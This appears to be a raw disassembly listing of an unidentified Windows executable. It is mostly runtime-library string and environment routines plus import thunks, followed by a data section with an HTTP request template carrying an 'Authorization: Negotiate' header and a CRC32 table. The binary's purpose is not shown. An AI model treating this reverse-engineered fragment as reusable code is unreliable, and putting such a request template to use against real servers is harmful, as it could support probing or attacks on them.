loc_420BCC:				; CODE XREF: sub_420AE1+13Cj
					; sub_420AE1+16Dj
		push	2


loc_420BCE:				; CODE XREF: sub_420AE1+146j
		pop	eax
		jmp	loc_420D4C
; ---------------------------------------------------------------------------


loc_420BD4:				; CODE XREF: sub_420AE1+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_420BE0


loc_420BD9:				; CODE XREF: sub_420AE1+151j
					; sub_420AE1+159j ...
		mov	eax, edi
		jmp	loc_420D4C
; ---------------------------------------------------------------------------


loc_420BE0:				; CODE XREF: sub_420AE1+F6j
		cmp	esi, edi
		jg	short loc_420C25
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	ds:dword_495468	; GetCPInfo
		test	eax, eax
		jz	loc_420D4A
		cmp	esi, ebx
		jle	short loc_420C29
		cmp	[ebp+var_3C], 2
		jb	short loc_420C25
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_420C25


loc_420C0B:				; CODE XREF: sub_420AE1+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_420C25
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_420C1F
		cmp	cl, dl
		jbe	short loc_420BCC


loc_420C1F:				; CODE XREF: sub_420AE1+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_420C0B


loc_420C25:				; CODE XREF: sub_420AE1+101j
					; sub_420AE1+120j ...
		push	3
		jmp	short loc_420BCE
; ---------------------------------------------------------------------------


loc_420C29:				; CODE XREF: sub_420AE1+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_420C5F
		cmp	[ebp+var_3C], 2
		jb	short loc_420BD9
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_420BD9


loc_420C3C:				; CODE XREF: sub_420AE1+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_420BD9
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_420C54
		cmp	cl, dl
		jbe	loc_420BCC


loc_420C54:				; CODE XREF: sub_420AE1+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_420C3C
		jmp	loc_420BD9
; ---------------------------------------------------------------------------


loc_420C5F:				; CODE XREF: sub_420AE1+E0j
					; sub_420AE1+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	ds:dword_4953EC	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_420D4A
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_416880
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_420CAE
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_420CAE:				; CODE XREF: sub_420AE1+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_420D4A
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, ds:dword_4953EC
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_420D4A
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_420D4A
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_416880
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_420D19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_420D19:				; CODE XREF: sub_420AE1+224j
		cmp	edi, ebx
		jz	short loc_420D4A
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_4953EC	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_420D4A
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4952E8	; CompareStringW
		jmp	short loc_420D4C
; ---------------------------------------------------------------------------


loc_420D4A:				; CODE XREF: sub_420AE1+63j
					; sub_420AE1+C6j ...
		xor	eax, eax


loc_420D4C:				; CODE XREF: sub_420AE1+BFj
					; sub_420AE1+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420AE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D5E	proc near		; CODE XREF: sub_420AE1+7Ep
					; sub_420AE1+95p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_420D7B


loc_420D6E:				; CODE XREF: sub_420D5E+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_420D7B
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_420D6E


loc_420D7B:				; CODE XREF: sub_420D5E+Ej
					; sub_420D5E+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_420D86
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_420D86:				; CODE XREF: sub_420D5E+21j
		mov	eax, edx
		retn
sub_420D5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D89	proc near		; CODE XREF: sub_420A73+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_420DED
		push	3Dh
		push	[ebp+arg_0]
		call	sub_420FCF
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_420DED
		cmp	[ebp+arg_0], esi
		jz	short loc_420DED
		mov	eax, dword_49281C
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_492820
		jnz	short loc_420DD3
		push	eax
		call	sub_420F68
		pop	ecx
		mov	dword_49281C, eax


loc_420DD3:				; CODE XREF: sub_420D89+3Cj
		cmp	eax, edi
		jnz	short loc_420E2B
		cmp	[ebp+arg_4], edi
		jz	short loc_420DF5
		cmp	dword_492824, edi
		jz	short loc_420DF5
		call	sub_420A73
		test	eax, eax
		jz	short loc_420E2B


loc_420DED:				; CODE XREF: sub_420D89+Dj
					; sub_420D89+22j ...
		or	eax, 0FFFFFFFFh


loc_420DF0:				; CODE XREF: sub_420D89+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_420DF5:				; CODE XREF: sub_420D89+51j
					; sub_420D89+59j
		cmp	ebx, edi
		jnz	loc_420F09
		push	4
		call	sub_415CF8
		cmp	eax, edi
		pop	ecx
		mov	dword_49281C, eax
		jz	short loc_420DED
		mov	[eax], edi
		cmp	dword_492824, edi
		jnz	short loc_420E2B
		push	4
		call	sub_415CF8
		cmp	eax, edi
		pop	ecx
		mov	dword_492824, eax
		jz	short loc_420DED
		mov	[eax], edi


loc_420E2B:				; CODE XREF: sub_420D89+4Cj
					; sub_420D89+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_49281C
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_420F10
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_420E8B
		cmp	dword ptr [edi], 0
		jz	short loc_420E8B
		test	ebx, ebx
		jz	short loc_420E83
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_415D6C
		pop	ecx


loc_420E5D:				; CODE XREF: sub_420D89+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_420E6D
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_420E5D
; ---------------------------------------------------------------------------


loc_420E6D:				; CODE XREF: sub_420D89+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_416ED2
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_420EBD
		jmp	short loc_420EB8
; ---------------------------------------------------------------------------


loc_420E83:				; CODE XREF: sub_420D89+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_420EBD
; ---------------------------------------------------------------------------


loc_420E8B:				; CODE XREF: sub_420D89+BDj
					; sub_420D89+C2j
		test	ebx, ebx
		jnz	short loc_420F09
		test	esi, esi
		jge	short loc_420E95
		neg	esi


loc_420E95:				; CODE XREF: sub_420D89+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_416ED2
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_420DED
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_420EB8:				; CODE XREF: sub_420D89+F8j
		mov	dword_49281C, eax


loc_420EBD:				; CODE XREF: sub_420D89+F6j
					; sub_420D89+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_420F09
		push	[ebp+arg_0]
		call	sub_4158E0
		inc	eax
		inc	eax
		push	eax
		call	sub_415CF8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_420F09
		push	[ebp+arg_0]
		push	esi
		call	sub_4175D0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	ds:dword_4952E4	; SetEnvironmentVariableA
		push	esi
		call	sub_415D6C
		pop	ecx


loc_420F09:				; CODE XREF: sub_420D89+6Ej
					; sub_420D89+104j ...
		xor	eax, eax
		jmp	loc_420DF0
sub_420D89	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F10	proc near		; CODE XREF: sub_420D89+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_49281C
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_420F4B
		mov	edi, [esp+8+arg_4]


loc_420F22:				; CODE XREF: sub_420F10+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_420A34
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420F41
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_420F5B
		test	al, al
		jz	short loc_420F5B


loc_420F41:				; CODE XREF: sub_420F10+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_420F22


loc_420F4B:				; CODE XREF: sub_420F10+Cj
		mov	eax, esi
		sub	eax, dword_49281C
		sar	eax, 2
		neg	eax


loc_420F58:				; CODE XREF: sub_420F10+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420F5B:				; CODE XREF: sub_420F10+2Bj
					; sub_420F10+2Fj
		mov	eax, esi
		sub	eax, dword_49281C
		sar	eax, 2
		jmp	short loc_420F58
sub_420F10	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F68	proc near		; CODE XREF: sub_420D89+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_420F77
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_420F77:				; CODE XREF: sub_420F68+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_420F89


loc_420F7F:				; CODE XREF: sub_420F68+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_420F7F


loc_420F89:				; CODE XREF: sub_420F68+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_415CF8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_420FAA
		push	9
		call	sub_417FC6
		pop	ecx


loc_420FAA:				; CODE XREF: sub_420F68+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_420FAE:				; CODE XREF: sub_420F68+5Bj
		test	eax, eax
		jz	short loc_420FC5
		push	eax
		add	ebx, 4
		call	sub_421042
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_420FAE
; ---------------------------------------------------------------------------


loc_420FC5:				; CODE XREF: sub_420F68+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_420F68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420FCF	proc near		; CODE XREF: sub_420D89+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_49402C, 0
		jnz	short loc_420FEA
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417B60
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420FEA:				; CODE XREF: sub_420FCF+Aj
		mov	ecx, [ebp+arg_0]


loc_420FED:				; CODE XREF: sub_420FCF+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_421030
		movzx	edx, al
		test	byte_494141[edx], 4
		jz	short loc_42101C
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_421027
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42102B
		jmp	short loc_421024
; ---------------------------------------------------------------------------


loc_42101C:				; CODE XREF: sub_420FCF+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_421030


loc_421024:				; CODE XREF: sub_420FCF+4Bj
		inc	ecx
		jmp	short loc_420FED
; ---------------------------------------------------------------------------


loc_421027:				; CODE XREF: sub_420FCF+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42102B:				; CODE XREF: sub_420FCF+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421030:				; CODE XREF: sub_420FCF+25j
					; sub_420FCF+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_420FCF	endp


; =============== S U B	R O U T	I N E =======================================



sub_421042	proc near		; CODE XREF: sub_40F942+21p
					; sub_420F68+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_421069
		push	esi
		call	sub_4158E0
		inc	eax
		push	eax
		call	sub_415CF8
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_421069
		push	esi
		push	eax
		call	sub_4175D0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_421069:				; CODE XREF: sub_421042+7j
					; sub_421042+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_421042	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_421070	proc near		; CODE XREF: sub_401E57+5Ep
					; .text:00405CA9p
		jmp	ds:dword_495548
sub_421070	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_495544
; ---------------------------------------------------------------------------
		jmp	ds:dword_495540
; ---------------------------------------------------------------------------
		jmp	ds:dword_49553C
; ---------------------------------------------------------------------------
		jmp	ds:dword_495538
; ---------------------------------------------------------------------------
		jmp	ds:dword_495534
; ---------------------------------------------------------------------------
		jmp	ds:dword_495530
; ---------------------------------------------------------------------------
		jmp	ds:dword_49552C
; ---------------------------------------------------------------------------
		jmp	ds:dword_495528
; ---------------------------------------------------------------------------
		jmp	ds:dword_495524
; ---------------------------------------------------------------------------
		jmp	ds:dword_495520
; ---------------------------------------------------------------------------
		jmp	ds:dword_49551C
; ---------------------------------------------------------------------------
		jmp	ds:dword_495518
; ---------------------------------------------------------------------------
		jmp	ds:dword_495514
; ---------------------------------------------------------------------------
		jmp	ds:dword_495510
; ---------------------------------------------------------------------------
		jmp	ds:dword_49550C
; ---------------------------------------------------------------------------
		jmp	ds:dword_495324
; ---------------------------------------------------------------------------
		jmp	ds:dword_495328
; ---------------------------------------------------------------------------
		jmp	ds:dword_49532C
; ---------------------------------------------------------------------------
		jmp	ds:dword_495330
; ---------------------------------------------------------------------------
		jmp	ds:dword_495334
; ---------------------------------------------------------------------------
		jmp	ds:dword_495338
; ---------------------------------------------------------------------------
		jmp	ds:dword_49533C
; ---------------------------------------------------------------------------
		jmp	ds:dword_495340
; ---------------------------------------------------------------------------
		jmp	ds:dword_495344
; ---------------------------------------------------------------------------
		jmp	ds:dword_495348
; ---------------------------------------------------------------------------
		jmp	ds:dword_49534C
; ---------------------------------------------------------------------------
		jmp	ds:dword_495350
; ---------------------------------------------------------------------------
		jmp	ds:dword_495354
; ---------------------------------------------------------------------------
		jmp	ds:dword_495358
; ---------------------------------------------------------------------------
		jmp	ds:dword_49535C
; ---------------------------------------------------------------------------
		jmp	ds:dword_495360
; ---------------------------------------------------------------------------
		jmp	ds:dword_495364
; ---------------------------------------------------------------------------
		jmp	ds:dword_495368
; ---------------------------------------------------------------------------
		jmp	ds:dword_49536C
; ---------------------------------------------------------------------------
		jmp	ds:dword_495370
; ---------------------------------------------------------------------------
		jmp	ds:dword_495374
; ---------------------------------------------------------------------------
		jmp	ds:dword_495378
; ---------------------------------------------------------------------------
		jmp	ds:dword_49537C
; ---------------------------------------------------------------------------
		jmp	ds:dword_495380
; ---------------------------------------------------------------------------
		jmp	ds:dword_495384
; ---------------------------------------------------------------------------
		jmp	ds:dword_495388
; ---------------------------------------------------------------------------
		jmp	ds:dword_49538C
; ---------------------------------------------------------------------------
		jmp	ds:dword_495390
; ---------------------------------------------------------------------------
		jmp	ds:dword_495394
; ---------------------------------------------------------------------------
		jmp	ds:dword_495398
; ---------------------------------------------------------------------------
		jmp	ds:dword_49539C
; ---------------------------------------------------------------------------
		jmp	ds:dword_4953A0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4953A4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4953A8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4953AC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4953B0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4953B4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4953B8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4953BC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4953C0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4953C4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4953C8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4953CC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4953D0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4953D4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4952E0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4953D8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4953DC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4953E0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4953E4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4953E8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4953EC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4953F0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4953F4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4953F8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4953FC
; ---------------------------------------------------------------------------
		jmp	ds:dword_495400
; ---------------------------------------------------------------------------
		jmp	ds:dword_495404
; ---------------------------------------------------------------------------
		jmp	ds:dword_495408
; ---------------------------------------------------------------------------
		jmp	ds:dword_49540C
; ---------------------------------------------------------------------------
		jmp	ds:dword_495410
; ---------------------------------------------------------------------------
		jmp	ds:dword_495414
; ---------------------------------------------------------------------------
		jmp	ds:dword_495418
; ---------------------------------------------------------------------------
		jmp	ds:dword_49541C
; ---------------------------------------------------------------------------
		jmp	ds:dword_495420
; ---------------------------------------------------------------------------
		jmp	ds:dword_495424
; ---------------------------------------------------------------------------
		jmp	ds:dword_495428
; ---------------------------------------------------------------------------
		jmp	ds:dword_49542C

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_421268	proc near		; CODE XREF: sub_41600B+23p
					; sub_4162C8+13p
		jmp	ds:dword_495430
sub_421268	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_495434
; ---------------------------------------------------------------------------
		jmp	ds:dword_495438
; ---------------------------------------------------------------------------
		jmp	ds:dword_49543C
; ---------------------------------------------------------------------------
		jmp	ds:dword_495440
; ---------------------------------------------------------------------------
		jmp	ds:dword_495444
; ---------------------------------------------------------------------------
		jmp	ds:dword_495448
; ---------------------------------------------------------------------------
		jmp	ds:dword_49544C
; ---------------------------------------------------------------------------
		jmp	ds:dword_495450
; ---------------------------------------------------------------------------
		jmp	ds:dword_495454
; ---------------------------------------------------------------------------
		jmp	ds:dword_495458
; ---------------------------------------------------------------------------
		jmp	ds:dword_49545C
; ---------------------------------------------------------------------------
		jmp	ds:dword_495460
; ---------------------------------------------------------------------------
		jmp	ds:dword_495464
; ---------------------------------------------------------------------------
		jmp	ds:dword_495468
; ---------------------------------------------------------------------------
		jmp	ds:dword_49546C
; ---------------------------------------------------------------------------
		jmp	ds:dword_495470
; ---------------------------------------------------------------------------
		jmp	ds:dword_495474
; ---------------------------------------------------------------------------
		jmp	ds:dword_495478
; ---------------------------------------------------------------------------
		jmp	ds:dword_49547C
; ---------------------------------------------------------------------------
		jmp	ds:dword_495480
; ---------------------------------------------------------------------------
		jmp	ds:dword_495484
; ---------------------------------------------------------------------------
		jmp	ds:dword_495488
; ---------------------------------------------------------------------------
		jmp	ds:dword_495320
; ---------------------------------------------------------------------------
		jmp	ds:dword_49531C
; ---------------------------------------------------------------------------
		jmp	ds:dword_495318
; ---------------------------------------------------------------------------
		jmp	ds:dword_495314
; ---------------------------------------------------------------------------
		jmp	ds:dword_495310
; ---------------------------------------------------------------------------
		jmp	ds:dword_49530C
; ---------------------------------------------------------------------------
		jmp	ds:dword_495308
; ---------------------------------------------------------------------------
		jmp	ds:dword_495304
; ---------------------------------------------------------------------------
		jmp	ds:dword_495300
; ---------------------------------------------------------------------------
		jmp	ds:dword_4952FC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4952F8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4952F4
; ---------------------------------------------------------------------------
		jmp	ds:dword_4952F0
; ---------------------------------------------------------------------------
		jmp	ds:dword_4952EC
; ---------------------------------------------------------------------------
		jmp	ds:dword_4952E8
; ---------------------------------------------------------------------------
		jmp	ds:dword_4952E4
; ---------------------------------------------------------------------------
		db 3D32h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425084	proc near		; DATA XREF: .rdata:0042813Co

; FUNCTION CHUNK AT 00401249 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004026A5 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_401249
sub_425084	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_4250A2
		mov	ecx, [ebp+8]
		jmp	loc_401249
; ---------------------------------------------------------------------------

locret_4250A2:				; CODE XREF: .text:00425094j
		retn
; ---------------------------------------------------------------------------


loc_4250A3:				; DATA XREF: sub_402120o
		mov	eax, offset dword_428110
		jmp	loc_41605A
; ---------------------------------------------------------------------------
		db 0Bh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+14h]
		jmp	loc_401249

; =============== S U B	R O U T	I N E =======================================



sub_4250C0	proc near		; DATA XREF: .rdata:00428174o
		lea	ecx, [ebp-1Ch]
		jmp	loc_401249
sub_4250C0	endp

; ---------------------------------------------------------------------------


loc_4250C8:				; DATA XREF: sub_40232Ao
		mov	eax, offset dword_428148
		jmp	loc_41605A
; ---------------------------------------------------------------------------
		align 8


loc_4250D8:				; DATA XREF: sub_402A3Eo
		mov	eax, offset dword_428180
		jmp	loc_41605A
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_401249
; ---------------------------------------------------------------------------


loc_4250EC:				; DATA XREF: sub_415573o
		mov	eax, offset dword_428260
		jmp	loc_41605A
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-14h]
		jmp	sub_4180E2
; ---------------------------------------------------------------------------


loc_425100:				; DATA XREF: sub_4155CDo
		mov	eax, offset dword_428288
		jmp	loc_41605A
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_4180E2
; ---------------------------------------------------------------------------


loc_425114:				; DATA XREF: sub_41565Bo
		mov	eax, offset dword_4282D0
		jmp	loc_41605A
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4180E2
; ---------------------------------------------------------------------------


loc_425128:				; DATA XREF: sub_4156B4o
		mov	eax, offset dword_4282F8
		jmp	loc_41605A
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_4180E2
; ---------------------------------------------------------------------------


loc_42513C:				; DATA XREF: sub_415711o
		mov	eax, offset dword_428320
		jmp	loc_41605A
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_401249
; ---------------------------------------------------------------------------


loc_425150:				; DATA XREF: sub_41579Fo
		mov	eax, offset dword_428388
		jmp	loc_41605A
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_4180E2
; ---------------------------------------------------------------------------


loc_425164:				; DATA XREF: sub_4157F9o
		mov	eax, offset dword_4283B0
		jmp	loc_41605A
; ---------------------------------------------------------------------------
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db ''
		db '',0
		align 4
		dd 740000h, 39Ah dup(0)
_text		ends

; Section 2. (virtual address 00027000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 00027000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 427000h
		dd 7 dup(0)
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40232A+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
		dd 4 dup(0)
dbl_427068	dq 1.388888888888889e-2	; DATA XREF: sub_4020C1+2Fr
		dd 2 dup(0)
dbl_427078	dq 1.666666666666667e-1	; DATA XREF: sub_4020C1+15r
		dd 0
dword_427084	dd 0FFFFFFFFh		; DATA XREF: sub_402120+16Fr
					; sub_4026AFr ...
dbl_427088	dq 1.333333333333333	; DATA XREF: sub_402120+79r
		dd 0
dword_427094	dd 0			; DATA XREF: sub_40232A+4Do
					; sub_40278A+5Bo ...
dword_427098	dd 0			; DATA XREF: sub_4049FE+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
